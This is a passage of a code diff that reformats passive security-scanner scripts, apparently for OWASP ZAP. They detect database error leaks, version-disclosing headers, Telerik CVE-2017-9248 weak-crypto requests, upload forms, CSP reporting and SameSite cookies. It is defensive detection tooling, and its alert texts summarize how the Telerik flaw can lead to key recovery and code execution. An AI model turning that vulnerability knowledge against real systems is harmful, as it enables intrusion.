'', cweId[0], wascId[0], msg); - } - if (ingress.test(body)) - { - ingress.lastIndex = 0 - var foundingress = [] - while (comm = ingress.exec(body)) - { - foundingress.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[11], alertDesc[11], url, '', '', foundingress.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (frontbase.test(body)) - { - frontbase.lastIndex = 0 - var foundfrontbase = [] - while (comm = frontbase.exec(body)) - { - foundfrontbase.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[12], alertDesc[12], url, '', '', foundfrontbase.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } - if (hsqldb.test(body)) - { - hsqldb.lastIndex = 0 - var foundhsqldb = [] - while (comm = hsqldb.exec(body)) - { - foundhsqldb.push(comm[0]); - } - ps.raiseAlert(alertRisk[3], alertConfidence[2], alertTitle[13], alertDesc[13], url, '', '', foundhsqldb.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } + if (oracle.test(body)) { + oracle.lastIndex = 0; + var foundoracle = []; + while ((comm = oracle.exec(body))) { + foundoracle.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[4], + alertDesc[4], + url, + "", + "", + foundoracle.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (ibmdb2.test(body)) { + ibmdb2.lastIndex = 0; + var foundibmdb2 = []; + while ((comm = ibmdb2.exec(body))) { + foundibmdb2.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[5], + alertDesc[5], + url, + "", + "", + foundibmdb2.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (informix.test(body)) { + informix.lastIndex = 0; + var foundinformix = []; + while ((comm = informix.exec(body))) { + foundinformix.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[6], + alertDesc[6], + url, + "", + "", + foundinformix.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (firebird.test(body)) { + firebird.lastIndex = 0; + var foundfirebird = []; + while ((comm = firebird.exec(body))) { + foundfirebird.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[7], + alertDesc[7], + url, + "", + "", + foundfirebird.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (sqlite.test(body)) { + sqlite.lastIndex = 0; + var foundsqlite = []; + while ((comm = sqlite.exec(body))) { + foundsqlite.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[1], + alertTitle[8], + alertDesc[8], + url, + "", + "", + foundsqlite.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (sapdb.test(body)) { + sapdb.lastIndex = 0; + var foundsapdb = []; + while ((comm = sapdb.exec(body))) { + foundsapdb.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[9], + alertDesc[9], + url, + "", + "", + foundsapdb.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (sybase.test(body)) { + sybase.lastIndex = 0; + var foundsybase = []; + while ((comm = sybase.exec(body))) { + foundsybase.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[10], + alertDesc[10], + url, + "", + "", + foundsybase.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (ingress.test(body)) { + ingress.lastIndex = 0; + var foundingress = []; + while ((comm = ingress.exec(body))) { + foundingress.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[11], + alertDesc[11], + url, + "", + "", + foundingress.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (frontbase.test(body)) { + frontbase.lastIndex = 0; + var foundfrontbase = []; + while ((comm = frontbase.exec(body))) { + foundfrontbase.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[12], + alertDesc[12], + url, + "", + "", + foundfrontbase.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } + if (hsqldb.test(body)) { + hsqldb.lastIndex = 0; + var foundhsqldb = []; + while ((comm = hsqldb.exec(body))) { + foundhsqldb.push(comm[0]); + } + ps.raiseAlert( + alertRisk[3], + alertConfidence[2], + alertTitle[13], + alertDesc[13], + url, + "", + "", + foundhsqldb.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } } diff --git a/passive/Server Header Disclosure.js b/passive/Server Header Disclosure.js index 260517d7..73559dc8 100644 --- a/passive/Server Header Disclosure.js +++ b/passive/Server Header Disclosure.js @@ -3,38 +3,50 @@ var VERSION_PATTERN = new RegExp("(?:\\d+\\.)+\\d+"); -function scan(ps, msg, src) { +function scan(ps, msg, src) { + var alertRisk = 1; + var alertConfidence = 2; + var alertTitle = + "Server Leaks Version Information via 'Server' HTTP Response Header Field(script)"; + var alertDesc = + "The web/application server is leaking version information via the 'Server' HTTP response header. Access to such information may facilitate attackers identifying other vulnerabilities your web/application server is subject to."; + var alertSolution = + "Ensure that your web server, application server, load balancer, etc. is configured to suppress the 'Server' header or provide generic details."; - var alertRisk = 1 - var alertConfidence = 2 - var alertTitle = "Server Leaks Version Information via 'Server' HTTP Response Header Field(script)" - var alertDesc = "The web/application server is leaking version information via the 'Server' HTTP response header. Access to such information may facilitate attackers identifying other vulnerabilities your web/application server is subject to." - var alertSolution = "Ensure that your web server, application server, load balancer, etc. is configured to suppress the 'Server' header or provide generic details." + var cweId = 200; + var wascId = 13; - var cweId = 200 - var wascId = 13 + var url = msg.getRequestHeader().getURI().toString(); + var headers = msg.getResponseHeader().getHeaders("Server"); - var url = msg.getRequestHeader().getURI().toString(); - var headers = msg.getResponseHeader().getHeaders("Server") - - if (headers != null && containsPotentialSemver(headers)) - { - var headersString = headers.toString(); - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', '', alertSolution, headersString, cweId, wascId, msg); - } - + if (headers != null && containsPotentialSemver(headers)) { + var headersString = headers.toString(); + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + "", + alertSolution, + headersString, + cweId, + wascId, + msg + ); + } } function containsPotentialSemver(content) { - try { - var res = VERSION_PATTERN.exec(content); - if (res == null || res.join('') === ""){ - return false; - } - return true; - } - - catch (err) { - return false; + try { + var res = VERSION_PATTERN.exec(content); + if (res == null || res.join("") === "") { + return false; } + return true; + } catch (err) { + return false; + } } diff --git a/passive/Telerik Using Poor Crypto.js b/passive/Telerik Using Poor Crypto.js index fa3ceefa..6df4d030 100644 --- a/passive/Telerik Using Poor Crypto.js +++ b/passive/Telerik Using Poor Crypto.js @@ -5,171 +5,209 @@ // http://www.apache.org/licenses/LICENSE-2.0 function scan(ps, msg, src) { - var alertRisk = org.parosproxy.paros.core.scanner.Alert.RISK_HIGH; - var alertTitle = "Telerik UI for ASP.NET AJAX CVE-2017-9248 Cryptographic Weakness"; - var alertDesc = "A request has been made that appears to conform to poor cryptography used by Telerik UI for ASP.NET AJAX prior to v2017.2.621. An attacker could manipulate the value of the dp parameter to possibly learn the machine key and upload arbitrary files, which could then lead to the compromise of ASP.NET ViewStates and arbitrary code execution respectively. CVE-2017-9248 has a CVSSv3 score of 9.8. "; - var alertSolution = "See http://www.telerik.com/support/kb/aspnet-ajax/details/cryptographic-weakness for update/mitigation guidance." - var cweId = 327; - var wascId = 0; - var url = msg.getRequestHeader().getURI().toString(); - var param = "dp"; - - var dp = null; - - for (var iterator = msg.getUrlParams().iterator(); iterator.hasNext();) { - var urlParam = iterator.next(); - - if (urlParam.getName() == param) { - dp = urlParam.getValue(); - break; - } - } - - if (dp == null) { - return; - } - - if (!org.apache.commons.codec.binary.Base64.isBase64(dp)) { - return; - } - - var dpBytes = org.apache.commons.codec.binary.Base64.decodeBase64(dp); - - if (dpBytes.length < 48) { - return; - } - - for (var dpByteIdx = 0; dpByteIdx < dpBytes.length; dpByteIdx++) { - if (!(dpBytes[dpByteIdx] >= 0 && dpBytes[dpByteIdx] <= 127)) { - return; - } - } - - var foundComma = 0; - var foundSemicolon = 0; - - for (var blockStart = 0; blockStart < 48; blockStart += 4) { - var keyPossibilities1 = new Array(4); - var thisBlockAppearsValid = 0; - - for (var keyIdx = 0; keyIdx < 4; keyIdx++) { - keyPossibilities1[keyIdx] = new Array(96); - for (var possibleIdx = 0; possibleIdx < 96; possibleIdx++) { - keyPossibilities1[keyIdx][possibleIdx] = 1; - } - - for (dpByteIdx = blockStart + keyIdx; dpByteIdx < dpBytes.length; dpByteIdx += 48) { - for (possibleIdx = 0; possibleIdx < 96; possibleIdx++) { - var ctx = dpBytes[dpByteIdx]; - var key = possibleIdx + 32; - var xor = ctx ^ key; - var chr = String.fromCharCode(xor); - - if (!org.apache.commons.codec.binary.Base64.isBase64(chr)) { - keyPossibilities1[keyIdx][possibleIdx] = 0; - } - } - } - } - - var keyPossibilities2 = new Array(); - - for (var key0Idx = 0; key0Idx < 96; key0Idx++) { - if (keyPossibilities1[0][key0Idx] == 0) { - continue; - } - - for (var key1Idx = 0; key1Idx < 96; key1Idx++) { - if (keyPossibilities1[1][key1Idx] == 0) { - continue; - } - - for (var key2Idx = 0; key2Idx < 96; key2Idx++) { - if (keyPossibilities1[2][key2Idx] == 0) { - continue; - } - - for (var key3Idx = 0; key3Idx < 96; key3Idx++) { - if (keyPossibilities1[3][key3Idx] == 0) { - continue; - } - - keyPossibilities2.push([key0Idx + 32, key1Idx + 32, key2Idx + 32, key3Idx + 32]); - } - } - } - } - - for (possibleIdx = 0; possibleIdx < keyPossibilities2.length; possibleIdx++) { - var thisKeyValidSoFar = 1; - var thisKeyFoundComma = 0; - var thisKeyFoundSemicolon = 0; - - for (var blockOffset = 0; blockOffset + blockStart + 4 <= dpBytes.length; blockOffset += 48) { - var ptBase64 = ""; - for (var byteIdx = 0; byteIdx < 4; byteIdx++) { - ctx = dpBytes[blockOffset + blockStart + byteIdx]; - key = keyPossibilities2[possibleIdx][byteIdx]; - xor = ctx ^ key; - chr = String.fromCharCode(xor); - - ptBase64 += chr; - } - - var pt = org.apache.commons.codec.binary.Base64.decodeBase64(ptBase64); - - for (byteIdx = 0; byteIdx < pt.length; byteIdx++) { - if (!(pt[byteIdx] >= 32 && pt[byteIdx] <= 127)) { - thisKeyValidSoFar = 0; - break; - } - - if (pt[byteIdx] == 44) { - thisKeyFoundComma = 1; - } - - if (pt[byteIdx] == 59) { - thisKeyFoundSemicolon = 1; - } - } - if (thisKeyValidSoFar == 0) { - break; - } - } - - if (thisKeyValidSoFar == 1) { - thisBlockAppearsValid = 1; - - if (thisKeyFoundComma == 1) { - foundComma = 1; - } - - if (thisKeyFoundSemicolon == 1) { - foundSemicolon = 1; - } - } - } - - if (thisBlockAppearsValid == 0) { - return; - } - } - - if (foundComma == 0 || foundSemicolon == 0) { - return; - } - - var alertConfidence = null; - - if (url.contains("DialogHandler.aspx")) { - alertConfidence = org.parosproxy.paros.core.scanner.Alert.CONFIDENCE_HIGH; - alertDesc += "The URI strongly suggests this is a Telerik.Web.UI.DialogHandler instance; confidence is HIGH."; - } else { - alertConfidence = org.parosproxy.paros.core.scanner.Alert.CONFIDENCE_MEDIUM; - alertDesc += "The URI is not typical for a Telerik.Web.UI.DialogHandler instance, so it may have been changed (e.g., in web.config), or this may be a false positive; confidence is MEDIUM."; - } - - alertDesc = alertDesc.split(" ").join(java.lang.System.getProperty("line.separator")); - - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, param, '', '', alertSolution, '', cweId, wascId, msg); + var alertRisk = org.parosproxy.paros.core.scanner.Alert.RISK_HIGH; + var alertTitle = + "Telerik UI for ASP.NET AJAX CVE-2017-9248 Cryptographic Weakness"; + var alertDesc = + "A request has been made that appears to conform to poor cryptography used by Telerik UI for ASP.NET AJAX prior to v2017.2.621. An attacker could manipulate the value of the dp parameter to possibly learn the machine key and upload arbitrary files, which could then lead to the compromise of ASP.NET ViewStates and arbitrary code execution respectively. CVE-2017-9248 has a CVSSv3 score of 9.8. "; + var alertSolution = + "See http://www.telerik.com/support/kb/aspnet-ajax/details/cryptographic-weakness for update/mitigation guidance."; + var cweId = 327; + var wascId = 0; + var url = msg.getRequestHeader().getURI().toString(); + var param = "dp"; + + var dp = null; + + for (var iterator = msg.getUrlParams().iterator(); iterator.hasNext(); ) { + var urlParam = iterator.next(); + + if (urlParam.getName() == param) { + dp = urlParam.getValue(); + break; + } + } + + if (dp == null) { + return; + } + + if (!org.apache.commons.codec.binary.Base64.isBase64(dp)) { + return; + } + + var dpBytes = org.apache.commons.codec.binary.Base64.decodeBase64(dp); + + if (dpBytes.length < 48) { + return; + } + + for (var dpByteIdx = 0; dpByteIdx < dpBytes.length; dpByteIdx++) { + if (!(dpBytes[dpByteIdx] >= 0 && dpBytes[dpByteIdx] <= 127)) { + return; + } + } + + var foundComma = 0; + var foundSemicolon = 0; + + for (var blockStart = 0; blockStart < 48; blockStart += 4) { + var keyPossibilities1 = new Array(4); + var thisBlockAppearsValid = 0; + + for (var keyIdx = 0; keyIdx < 4; keyIdx++) { + keyPossibilities1[keyIdx] = new Array(96); + for (var possibleIdx = 0; possibleIdx < 96; possibleIdx++) { + keyPossibilities1[keyIdx][possibleIdx] = 1; + } + + for ( + dpByteIdx = blockStart + keyIdx; + dpByteIdx < dpBytes.length; + dpByteIdx += 48 + ) { + for (possibleIdx = 0; possibleIdx < 96; possibleIdx++) { + var ctx = dpBytes[dpByteIdx]; + var key = possibleIdx + 32; + var xor = ctx ^ key; + var chr = String.fromCharCode(xor); + + if (!org.apache.commons.codec.binary.Base64.isBase64(chr)) { + keyPossibilities1[keyIdx][possibleIdx] = 0; + } + } + } + } + + var keyPossibilities2 = new Array(); + + for (var key0Idx = 0; key0Idx < 96; key0Idx++) { + if (keyPossibilities1[0][key0Idx] == 0) { + continue; + } + + for (var key1Idx = 0; key1Idx < 96; key1Idx++) { + if (keyPossibilities1[1][key1Idx] == 0) { + continue; + } + + for (var key2Idx = 0; key2Idx < 96; key2Idx++) { + if (keyPossibilities1[2][key2Idx] == 0) { + continue; + } + + for (var key3Idx = 0; key3Idx < 96; key3Idx++) { + if (keyPossibilities1[3][key3Idx] == 0) { + continue; + } + + keyPossibilities2.push([ + key0Idx + 32, + key1Idx + 32, + key2Idx + 32, + key3Idx + 32, + ]); + } + } + } + } + + for ( + possibleIdx = 0; + possibleIdx < keyPossibilities2.length; + possibleIdx++ + ) { + var thisKeyValidSoFar = 1; + var thisKeyFoundComma = 0; + var thisKeyFoundSemicolon = 0; + + for ( + var blockOffset = 0; + blockOffset + blockStart + 4 <= dpBytes.length; + blockOffset += 48 + ) { + var ptBase64 = ""; + for (var byteIdx = 0; byteIdx < 4; byteIdx++) { + ctx = dpBytes[blockOffset + blockStart + byteIdx]; + key = keyPossibilities2[possibleIdx][byteIdx]; + xor = ctx ^ key; + chr = String.fromCharCode(xor); + + ptBase64 += chr; + } + + var pt = org.apache.commons.codec.binary.Base64.decodeBase64(ptBase64); + + for (byteIdx = 0; byteIdx < pt.length; byteIdx++) { + if (!(pt[byteIdx] >= 32 && pt[byteIdx] <= 127)) { + thisKeyValidSoFar = 0; + break; + } + + if (pt[byteIdx] == 44) { + thisKeyFoundComma = 1; + } + + if (pt[byteIdx] == 59) { + thisKeyFoundSemicolon = 1; + } + } + if (thisKeyValidSoFar == 0) { + break; + } + } + + if (thisKeyValidSoFar == 1) { + thisBlockAppearsValid = 1; + + if (thisKeyFoundComma == 1) { + foundComma = 1; + } + + if (thisKeyFoundSemicolon == 1) { + foundSemicolon = 1; + } + } + } + + if (thisBlockAppearsValid == 0) { + return; + } + } + + if (foundComma == 0 || foundSemicolon == 0) { + return; + } + + var alertConfidence = null; + + if (url.contains("DialogHandler.aspx")) { + alertConfidence = org.parosproxy.paros.core.scanner.Alert.CONFIDENCE_HIGH; + alertDesc += + "The URI strongly suggests this is a Telerik.Web.UI.DialogHandler instance; confidence is HIGH."; + } else { + alertConfidence = org.parosproxy.paros.core.scanner.Alert.CONFIDENCE_MEDIUM; + alertDesc += + "The URI is not typical for a Telerik.Web.UI.DialogHandler instance, so it may have been changed (e.g., in web.config), or this may be a false positive; confidence is MEDIUM."; + } + + alertDesc = alertDesc + .split(" ") + .join(java.lang.System.getProperty("line.separator")); + + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + param, + "", + "", + alertSolution, + "", + cweId, + wascId, + msg + ); } diff --git a/passive/Upload form discovery.js b/passive/Upload form discovery.js index 3c759e63..83e11134 100644 --- a/passive/Upload form discovery.js +++ b/passive/Upload form discovery.js @@ -1,28 +1,45 @@ // Lazily crafted by Anthony Cozamanis - kurobeats@yahoo.co.jp -function scan(ps, msg, src) -{ - var url = msg.getRequestHeader().getURI().toString(); - var body = msg.getResponseBody().toString() - var alertRisk = [0,1,2,3,4] // risk: 0: info, 1: low, 2: medium, 3: high - var alertConfidence = [0,1,2,3,4] // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed - var alertTitle = ["An upload form appeared! (script)",""] - var alertDesc = ["An upload form exists. This isn't an issue, but it could be a lot of fun! Go check it out!.",""] - var alertSolution = ["This isn't an issue, but it could be a lot of fun!",""] - var cweId = [0,1] - var wascId = [0,1] - - var uploadForm = /(type\s*=\s*['"]?file['"]?)/g - - if (uploadForm.test(body)) - { - uploadForm.lastIndex = 0 - var founduploadForm = [] - var comm - while (comm = uploadForm.exec(body)) - { - founduploadForm.push(comm[0]); - } - ps.raiseAlert(alertRisk[0], alertConfidence[2], alertTitle[0], alertDesc[0], url, '', '', founduploadForm.toString(), alertSolution[0], '', cweId[0], wascId[0], msg); - } +function scan(ps, msg, src) { + var url = msg.getRequestHeader().getURI().toString(); + var body = msg.getResponseBody().toString(); + var alertRisk = [0, 1, 2, 3, 4]; // risk: 0: info, 1: low, 2: medium, 3: high + var alertConfidence = [0, 1, 2, 3, 4]; // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed + var alertTitle = ["An upload form appeared! (script)", ""]; + var alertDesc = [ + "An upload form exists. This isn't an issue, but it could be a lot of fun! Go check it out!.", + "", + ]; + var alertSolution = [ + "This isn't an issue, but it could be a lot of fun!", + "", + ]; + var cweId = [0, 1]; + var wascId = [0, 1]; + + var uploadForm = /(type\s*=\s*['"]?file['"]?)/g; + + if (uploadForm.test(body)) { + uploadForm.lastIndex = 0; + var founduploadForm = []; + var comm; + while ((comm = uploadForm.exec(body))) { + founduploadForm.push(comm[0]); + } + ps.raiseAlert( + alertRisk[0], + alertConfidence[2], + alertTitle[0], + alertDesc[0], + url, + "", + "", + founduploadForm.toString(), + alertSolution[0], + "", + cweId[0], + wascId[0], + msg + ); + } } diff --git a/passive/X-Powered-By_header_checker.js b/passive/X-Powered-By_header_checker.js index 77a72aab..374f9dbc 100644 --- a/passive/X-Powered-By_header_checker.js +++ b/passive/X-Powered-By_header_checker.js @@ -1,23 +1,36 @@ // X-Powered-By finder by freakyclown@gmail.com -function scan(ps, msg, src) -{ +function scan(ps, msg, src) { + var alertRisk = 1; + var alertConfidence = 2; + var alertTitle = + "Server Leaks Information via 'X-Powered-By' HTTP Response Header Field(s)(script)"; + var alertDesc = + "The web/application server is leaking information via one or more 'X-Powered-By' HTTP response headers. Access to such information may facilitate attackers identifying other frameworks/components your web application is reliant upon and the vulnerabilities such components may be subject to."; + var alertSolution = + "Ensure that your web server, application server, load balancer, etc. is configured to suppress 'X-Powered-By' headers."; - var alertRisk = 1 - var alertConfidence = 2 - var alertTitle = "Server Leaks Information via 'X-Powered-By' HTTP Response Header Field(s)(script)" - var alertDesc = "The web/application server is leaking information via one or more 'X-Powered-By' HTTP response headers. Access to such information may facilitate attackers identifying other frameworks/components your web application is reliant upon and the vulnerabilities such components may be subject to." - var alertSolution = "Ensure that your web server, application server, load balancer, etc. is configured to suppress 'X-Powered-By' headers." + var cweId = 200; + var wascId = 13; - var cweId = 200 - var wascId = 13 + var url = msg.getRequestHeader().getURI().toString(); + var headers = msg.getResponseHeader().getHeaders("X-Powered-By"); - var url = msg.getRequestHeader().getURI().toString(); - var headers = msg.getResponseHeader().getHeaders("X-Powered-By") - - if (headers != null) - { - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', '', alertSolution,headers, cweId, wascId, msg); - } - + if (headers != null) { + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + "", + alertSolution, + headers, + cweId, + wascId, + msg + ); + } } diff --git a/passive/clacks.js b/passive/clacks.js index cf9d37dc..92a6565c 100644 --- a/passive/clacks.js +++ b/passive/clacks.js @@ -1,23 +1,35 @@ // Clacks Header Check by freakyclown@gmail.com -function scan(ps, msg, src) -{ +function scan(ps, msg, src) { + var alertRisk = 0; + var alertConfidence = 3; + var alertTitle = "Server is running on CLACKS - GNU Terry Pratchett"; + var alertDesc = + "The web/application server is running over the CLACKS network, some say its turtles/IP, some says its turtles all the way down the layer stack."; + var alertSolution = + "Give the sys admin a high five and rejoice in the disc world."; - var alertRisk = 0 - var alertConfidence = 3 - var alertTitle = "Server is running on CLACKS - GNU Terry Pratchett" - var alertDesc = "The web/application server is running over the CLACKS network, some say its turtles/IP, some says its turtles all the way down the layer stack." - var alertSolution = "Give the sys admin a high five and rejoice in the disc world." + var cweId = 200; + var wascId = 13; - var cweId = 200 - var wascId = 13 + var url = msg.getRequestHeader().getURI().toString(); + var headers = msg.getResponseHeader().getHeaders("X-Clacks-Overhead"); - var url = msg.getRequestHeader().getURI().toString(); - var headers = msg.getResponseHeader().getHeaders("X-Clacks-Overhead") - - if (headers != null) - { - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', '', alertSolution,headers, cweId, wascId, msg); - } - + if (headers != null) { + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + "", + alertSolution, + headers, + cweId, + wascId, + msg + ); + } } diff --git a/passive/detect_csp_notif_and_reportonly.js b/passive/detect_csp_notif_and_reportonly.js index 1ce9e033..18df165f 100644 --- a/passive/detect_csp_notif_and_reportonly.js +++ b/passive/detect_csp_notif_and_reportonly.js @@ -19,61 +19,92 @@ dominique.righetto@gmail.com var Locale = Java.type("java.util.Locale"); -function extractUrl(cspPolicies, cspReportInstruction){ - //Extract the URL to which any CSP violations are reported - //In CSP specification, policies are separated by ';' - if(cspPolicies.indexOf(cspReportInstruction) != -1){ - var startPosition = cspPolicies.search(cspReportInstruction); - var tmp = cspPolicies.substring(startPosition); - var endPosition = tmp.indexOf(";"); - if(endPosition != -1){ - var reportUrl = tmp.substring(0, endPosition); - }else{ - var reportUrl = tmp; - } - return reportUrl.replace(cspReportInstruction,"").trim(); - }else{ - return null; - } +function extractUrl(cspPolicies, cspReportInstruction) { + //Extract the URL to which any CSP violations are reported + //In CSP specification, policies are separated by ';' + if (cspPolicies.indexOf(cspReportInstruction) != -1) { + var startPosition = cspPolicies.search(cspReportInstruction); + var tmp = cspPolicies.substring(startPosition); + var endPosition = tmp.indexOf(";"); + if (endPosition != -1) { + var reportUrl = tmp.substring(0, endPosition); + } else { + var reportUrl = tmp; + } + return reportUrl.replace(cspReportInstruction, "").trim(); + } else { + return null; + } } function scan(ps, msg, src) { - //Docs on alert raising function: - // raiseAlert(risk, int confidence, String name, String description, String uri, - // String param, String attack, String otherInfo, String solution, String evidence, - // int cweId, int wascId, HttpMessage msg) - // risk: 0: info, 1: low, 2: medium, 3: high - // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed + //Docs on alert raising function: + // raiseAlert(risk, int confidence, String name, String description, String uri, + // String param, String attack, String otherInfo, String solution, String evidence, + // int cweId, int wascId, HttpMessage msg) + // risk: 0: info, 1: low, 2: medium, 3: high + // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed - //Common variables - var cweId = 200; - var wascId = 13; - var url = msg.getRequestHeader().getURI().toString(); - var cspHeaderNames = ["Content-Security-Policy", "X-Content-Security-Policy", "X-Webkit-CSP", "Content-Security-Policy-Report-Only"]; - var cspReportInstruction = "report-uri"; + //Common variables + var cweId = 200; + var wascId = 13; + var url = msg.getRequestHeader().getURI().toString(); + var cspHeaderNames = [ + "Content-Security-Policy", + "X-Content-Security-Policy", + "X-Webkit-CSP", + "Content-Security-Policy-Report-Only", + ]; + var cspReportInstruction = "report-uri"; - //Response headers collection - var responseHeaders = msg.getResponseHeader(); + //Response headers collection + var responseHeaders = msg.getResponseHeader(); - //Detect and analyze presence of the CSP headers - for(var i = 0 ; i < cspHeaderNames.length ; i++){ - var headerName = cspHeaderNames[i]; - if(responseHeaders.getHeaders(headerName)){ - //Check if the header values (policies) contains the CSP reporting instruction - var headerValues = responseHeaders.getHeaders(headerName).toArray(); - for(var j = 0 ; j < headerValues.length ; j++){ - var cspPolicies = headerValues[j].toLowerCase(Locale.ROOT); - //Extract the URL to which any CSP violations are reported if specified - var reportUrl = extractUrl(cspPolicies, cspReportInstruction); - if(reportUrl != null){ - //Raise info alert - var cspWorkingMode = (headerName.toLowerCase(Locale.ROOT).indexOf("-report-only") == -1) ? "BLOCKING" : "REPORTING"; - var description = "The current site CSP policies defined by HTTP response header '" + headerName + "' (behaving in " + cspWorkingMode + " mode) report violation to '" + reportUrl + "'."; - var infoLinkRef = "https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_CSP_violation_reports"; - var solution = "Site owner will be notified at each policies violations, so, start by analyzing if a real monitoring of the notifications is in place before to use fuzzing or to be more aggressive."; - ps.raiseAlert(0, 3, "Content Security Policy violations reporting enabled", description, url, "HTTP response header '" + headerName + "'", "", infoLinkRef, solution, headerValues[j], cweId, wascId, msg); - } - } - } - } + //Detect and analyze presence of the CSP headers + for (var i = 0; i < cspHeaderNames.length; i++) { + var headerName = cspHeaderNames[i]; + if (responseHeaders.getHeaders(headerName)) { + //Check if the header values (policies) contains the CSP reporting instruction + var headerValues = responseHeaders.getHeaders(headerName).toArray(); + for (var j = 0; j < headerValues.length; j++) { + var cspPolicies = headerValues[j].toLowerCase(Locale.ROOT); + //Extract the URL to which any CSP violations are reported if specified + var reportUrl = extractUrl(cspPolicies, cspReportInstruction); + if (reportUrl != null) { + //Raise info alert + var cspWorkingMode = + headerName.toLowerCase(Locale.ROOT).indexOf("-report-only") == -1 + ? "BLOCKING" + : "REPORTING"; + var description = + "The current site CSP policies defined by HTTP response header '" + + headerName + + "' (behaving in " + + cspWorkingMode + + " mode) report violation to '" + + reportUrl + + "'."; + var infoLinkRef = + "https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_CSP_violation_reports"; + var solution = + "Site owner will be notified at each policies violations, so, start by analyzing if a real monitoring of the notifications is in place before to use fuzzing or to be more aggressive."; + ps.raiseAlert( + 0, + 3, + "Content Security Policy violations reporting enabled", + description, + url, + "HTTP response header '" + headerName + "'", + "", + infoLinkRef, + solution, + headerValues[j], + cweId, + wascId, + msg + ); + } + } + } + } } diff --git a/passive/detect_samesite_protection.js b/passive/detect_samesite_protection.js index a2c36b7d..3894a647 100644 --- a/passive/detect_samesite_protection.js +++ b/passive/detect_samesite_protection.js @@ -15,47 +15,71 @@ dominique.righetto@gmail.com var Locale = Java.type("java.util.Locale"); function scan(ps, msg, src) { - //Docs on alert raising function: - // raiseAlert(risk, int confidence, String name, String description, String uri, - // String param, String attack, String otherInfo, String solution, String evidence, - // int cweId, int wascId, HttpMessage msg) - // risk: 0: info, 1: low, 2: medium, 3: high - // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed - - //Common variables - var cweId = 352; - var wascId = 9; - var url = msg.getRequestHeader().getURI().toString(); - var cookieHeaderNames = ["Set-Cookie", "Set-Cookie2"]; - var cookieSameSiteAttributeNameLower = "samesite"; - - //Response headers collection - var responseHeaders = msg.getResponseHeader(); - - //Detect and analyze presence of the cookie headers - for(var i = 0 ; i < cookieHeaderNames.length ; i++){ - var headerName = cookieHeaderNames[i]; - if(responseHeaders.getHeaders(headerName)){ - //Check if the cookie header values contains the SameSite attribute - var headerValues = responseHeaders.getHeaders(headerName).toArray(); - for(var j = 0 ; j < headerValues.length ; j++){ - var cookieAttributes = headerValues[j].split(";"); - //Inspect each attribute in order to avoid false-positive spot - //by simply searching "samesite=" on the whole cookie header value... - for(var k = 0 ; k < cookieAttributes.length ; k++){ - var parts = cookieAttributes[k].split("="); - if(parts[0].trim().toLowerCase(Locale.ROOT) == cookieSameSiteAttributeNameLower){ - //Raise info alert - var sameSiteAttrValue = parts[1].trim(); - var cookieName = cookieAttributes[0].split("=")[0].trim(); - var description = "The current site use the 'SameSite' cookie attribute protection on cookie named '" + cookieName + "', value is set to '" + sameSiteAttrValue + "' protection level."; - var infoLinkRef = "https://tools.ietf.org/html/draft-west-first-party-cookies\nhttps://chloe.re/2016/04/13/goodbye-csrf-samesite-to-the-rescue"; - var solution = "CSRF possible vulnerabilities presents on the site will be mitigated depending on the browser used by the user (browser defines the support level for this cookie attribute)."; - ps.raiseAlert(0, 3, "SameSite cookie attribute protection used", description, url, "Cookie named: '" + cookieName + "'", "", infoLinkRef, solution, sameSiteAttrValue, cweId, wascId, msg); - break; - } - } - } - } - } -} \ No newline at end of file + //Docs on alert raising function: + // raiseAlert(risk, int confidence, String name, String description, String uri, + // String param, String attack, String otherInfo, String solution, String evidence, + // int cweId, int wascId, HttpMessage msg) + // risk: 0: info, 1: low, 2: medium, 3: high + // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed + + //Common 